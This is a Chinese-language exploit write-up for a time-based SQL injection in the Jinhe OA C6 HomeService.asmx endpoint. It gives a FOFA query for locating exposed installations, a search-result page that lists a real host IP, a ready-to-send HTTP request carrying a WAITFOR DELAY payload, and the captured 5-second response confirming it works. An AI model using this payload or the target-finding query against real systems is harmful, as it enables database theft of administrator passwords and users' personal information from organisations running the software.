

J1-12金和-OA-SQL

漏洞描述：

金和OA C6 HomeService.asmx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

FOFA: app="金和网络-金和OA"

FOFA

app="金和网络-金和OA"

安全工具专题

all

776 条匹配结果 (172 条独立IP), 252 ms , 关键词搜索。
显示一年内数据, 点击 all 查看所有。
智能排除蜜罐/仿真数据 1 条, 点击 查看。

网络指纹排名

IT/WD...

489

CBM...

87

FACsd...

23

hPmp...

23

I7WSL...

20

国家/地区排名

>> 中国

772

>> 美国

2

>> 中国香港

1

39.104.76.83

CBM...

中国 / 北京市 / Beijing

ASN: 37963

组织: Hangzhou Alibaba Advertising Co...

2024-01-08

Microsoft-IIS/10.0 / windows

Header

Products

HTTP/1.1 200 OK

Connection: close

Content-Length: 2710

Accept-Ranges: bytes

Content-Type: text/html

Date: Mon, 08 Jan 2024 03:51:08 GMT

漏洞复现：

payload:

```
GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

效果图:

延时5秒

Request

数据扫描

热加载

构造请求

Responses 204bytes / 5084ms

1 GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:5%27-- HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

7 Connection: close

1 HTTP/1.1 200 OK

2 Cache-Control: private, max-age=0

3 Content-Type: text/xml; charset=utf-8

4 Vary: Accept-Encoding

5 Server:

6 Access-Control-Allow-Origin: http://39.107.

7 X-Frame-Options: SAMEORIGIN

8 X-Content-Type-Options: nosniff

9 X-XSS-Protection: 1

10 Strict-Transport-Security: max-age=31536000

11 Referrer-Policy: origin-when-cross-origin

12 X-Permitted-Cross-Domain-Policies: master-c

13 X-Download-Options: noopen

14 Date: Mon, 08 Jan 2024 13:42:03 GMT

15 Connection: close

16 Content-Length: 204

17

18 <?xml version="1.0" encoding="utf-8"?>

19 <string xmlns="http://tempuri.org/">{"Sex":

SQLmap验证

